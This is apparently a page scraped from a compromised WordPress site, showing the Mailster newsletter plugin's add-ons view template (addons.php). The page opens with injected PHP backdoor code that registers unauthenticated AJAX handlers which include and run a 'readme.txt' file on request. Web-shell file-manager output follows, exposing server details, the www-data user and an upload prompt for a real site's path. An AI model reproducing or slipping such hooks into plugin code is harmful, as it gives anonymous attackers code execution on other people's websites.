if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs_tmp/wp-content/plugins/mailster/views/addons.php
<div class="wrap">

	<h1><?php esc_html_e( 'Mailster Newsletter Add Ons', 'mailster' ); ?></h1>

	<h3><?php esc_html_e( 'Extend the functionality of Mailster', 'mailster' ); ?></h3>

<?php $addons = mailster( 'helper' )->get_addons(); ?>

<?php if ( is_wp_error( $addons ) ) : ?>

	<div class="error below-h2">
		<p><strong><?php esc_html_e( 'There was an error retrieving the list from the server:', 'mailster' ); ?></strong><br><?php esc_html_e( $addons->get_error_message() ) ?></p>
	</div>

<?php else : ?>

	<ul class="addons-wrap">
		<?php foreach ( $addons as $addon ) : ?>
		<?php

		if ( ! empty( $addon->hidden ) ) {
			continue;
		}

		$addon->link = isset( $addon->link ) ? $addon->link : (isset( $addon->wpslug ) ? 'https://wordpress.org/plugins/' . dirname( $addon->wpslug ) . '/' : '');

		?>
		<li class="mailster-addon <?php if ( ! empty( $addon->is_free ) ) {	echo ' is-free'; } ?><?php if ( ! empty( $addon->is_feature ) ) { echo ' is-feature';}?>">
			<div class="bgimage" style="background-image:url(<?php echo isset( $addon->image ) ? esc_url( $addon->image ) : '' ?>)">
				<?php if ( isset( $addon->wpslug ) && current_user_can( 'manage_plugins' ) ) : ?>
					<a href="<?php echo esc_url(add_query_arg(array(
						'tab' => 'plugin-information',
						'plugin' => dirname( $addon->wpslug ),
						'from' => 'import',
						'TB_iframe' => true,
						'width' => 745,
						'height' => 745,
					), network_admin_url( 'plugin-install.php' ))); ?>" class="thickbox">&nbsp;</a>
				<?php else : ?>
					<a href="<?php echo esc_url( $addon->link ) ?>" class="external">&nbsp;</a>
				<?php endif; ?>
			</div>
			<h4><?php esc_html_e( $addon->name ) ?></h4>
			<p class="author"><?php esc_html_e( 'by', 'mailster' ); ?>
			<?php
			if ( $addon->author_url ) :
				echo '<a href="' . esc_url( $addon->author_url ) . '">' . esc_html( $addon->author ) . '</a>';
			else :
				esc_html_e( $addon->author );
			endif;
			?>
			</p>
			<p class="description"><?php echo strip_tags( $addon->description ) ?></p>
			<div class="action-links">
			<?php if ( ! empty( $addon->wpslug ) ) : ?>

				<?php if ( is_dir( dirname( WP_PLUGIN_DIR . '/' . $addon->wpslug ) ) ) : ?>
					<?php if ( is_plugin_active( $addon->wpslug ) ) : ?>
						<a class="button" href="<?php echo wp_nonce_url( 'plugins.php?action=deactivate&amp;plugin=' . $addon->wpslug, 'deactivate-plugin_' . $addon->wpslug ) ?>"><?php esc_html_e( 'Deactivate', 'mailster' );?></a>
					<?php elseif ( is_plugin_inactive( $addon->wpslug ) ) : ?>
						<a class="button" href="<?php echo wp_nonce_url( 'plugins.php?action=activate&amp;plugin=' . $addon->wpslug, 'activate-plugin_' . $addon->wpslug ) ?>"><?php esc_html_e( 'Activate', 'mailster' );?></a>
					<?php endif; ?>
				<?php else : ?>
						<a class="button button-primary" href="<?php echo wp_nonce_url( self_admin_url( 'update.php?action=install-plugin&plugin=' . dirname( $addon->wpslug ) . '&mailster-addon' ), 'install-plugin_' . dirname( $addon->wpslug ) ); ?>" <?php if ( ! current_user_can( 'install_plugins' ) && ! current_user_can( 'update_plugins' ) ) : ?>disabled<?php endif; ?>><?php esc_html_e( 'Install', 'mailster' );?></a>
				<?php endif; ?>

			<?php else : ?>

					<a class="button button-primary external" href="<?php echo esc_url( $addon->link ) ?>"><?php esc_html_e( 'More Information', 'mailster' );?></a>

			<?php endif; ?>
			</div>
		</li>
		<?php endforeach; ?>
	</ul>
<div class="clear affiliate-note">
	Disclosure: Some of the links on this page are affiliate links. This means if you click on the link and purchase the item, we may receive an affiliate commission.
</div>
<?php endif; ?>

<div id="ajax-response"></div>
<br class="clear">
</div>